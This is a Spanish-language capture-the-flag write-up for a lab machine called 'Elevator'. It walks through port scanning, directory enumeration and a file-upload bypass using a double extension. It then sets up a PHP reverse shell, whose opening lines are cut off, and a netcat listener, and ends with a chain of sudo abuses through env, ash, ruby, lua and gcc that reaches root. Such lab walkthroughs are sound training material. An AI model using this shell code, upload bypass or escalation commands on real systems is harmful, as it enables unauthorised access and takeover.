> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/elevator-write-up.md).
# Elevator write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima.**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:
Como no contemplamos nada interesante vamos a usar la herramienta **Dirb** para buscar rutas ocultas con el siguiente comando:
```bash
dirb http://172.17.0.2/
```
Al probar varias rutas observamos que la mayoría de rutas están protegidas, sin embargo, la ruta `http://172.17.0.2/themes/uploads/` no está oculta, a pesar de que `http://172.17.0.2/themes/` si lo está. Por lo tanto vamos a buscar ahora rutas ocultas con **Gobuster** desde `http://172.17.0.2/themes/` con el siguiente comando:
```bash
gobuster dir -u http://172.17.0.2/themes -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py
```
Ahora observamos la ruta `http://172.17.0.2/themes/archivo.html`, el cual si ingresamos en el navegador contemplamos lo siguiente:
Observamos que podemos subir imágenes en formato JPG, así que vamos a probar a subir un archivo malicioso en PHP, pero capturaremos la petición con **Burpsuite** y la modificaremos para saltarnos la restricción. El archivo malicioso contiene el siguiente código:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Una vez creado el archivo malicioso, enviamos el archivo y capturamos la petición con **Burpsuite**.
Ahora en la petición vamos a cambiar el nombre para que en vez de que ponga `shell.php` ponga `shell.jpg.php.jpg` y observar si se sube correctamente.
Nos indica que el archivo se subió correctamente, así que vamos al directorio para así poder ejecutar el código, pero antes nos ponemos en escucha con **netcat** por el puerto 444.
```bash
sudo nc -nlvvp 444
```
Y así estaríamos dentro de la máquina víctima.
## **Escalada de privilegios**
Una vez estamos dentro de la máquina víctima como el usuario `www-data`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/env` como el usuario `daphne` sin necesidad de contraseña.
Así que ahora ejecutamos lo siguiente para obtener una shell como el usuario `daphne`:
```bash
sudo -u daphne /usr/bin/env /bin/bash -p
```
Ahora que somos el usuario `daphne`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/ash` como el usuario `vilma` sin necesidad de contraseña.
Así que ejecutamos lo siguiente para obtener una shell como el usuario `vilma`:
```bash
sudo -u vilma /usr/bin/ash
```
Ahora, ejecutamos el comando `sudo -l` de nuevo, y este nos indica que podemos ejecutar el binario `/usr/bin/ruby` como el usuario `shaggy` sin necesidad de contraseña.
Así que ejecutamos lo siguiente para escalar como el usuario `shaggy`:
```bash
sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/bash"'
```
Una vez somos el usuario `shaggy`, ejecutamos de nuevo el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/lua` como el usuario `fred` sin necesidad de contraseña.
Así que para escalar como el usuario `fred`, ejecutamos lo siguiente:
```bash
sudo -u fred /usr/bin/lua -e 'os.execute("/bin/bash")'
```
Una vez somos el usuario `fred`, ejecutamos `sudo -l`, esto nos indica que podemos ejecutar el binario `/usr/bin/gcc` como el usuario `scooby` con el siguiente comando:
```bash
sudo -u scooby /usr/bin/gcc -wrapper /bin/bash,-s .
```
Ahora que somos el usuario `scooby`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/sudo` como el usuario `root`.
Por lo tanto, ejecutamos lo siguiente para obtener una shell con privilegios elevados:
```bash
sudo sudo /bin/bash
```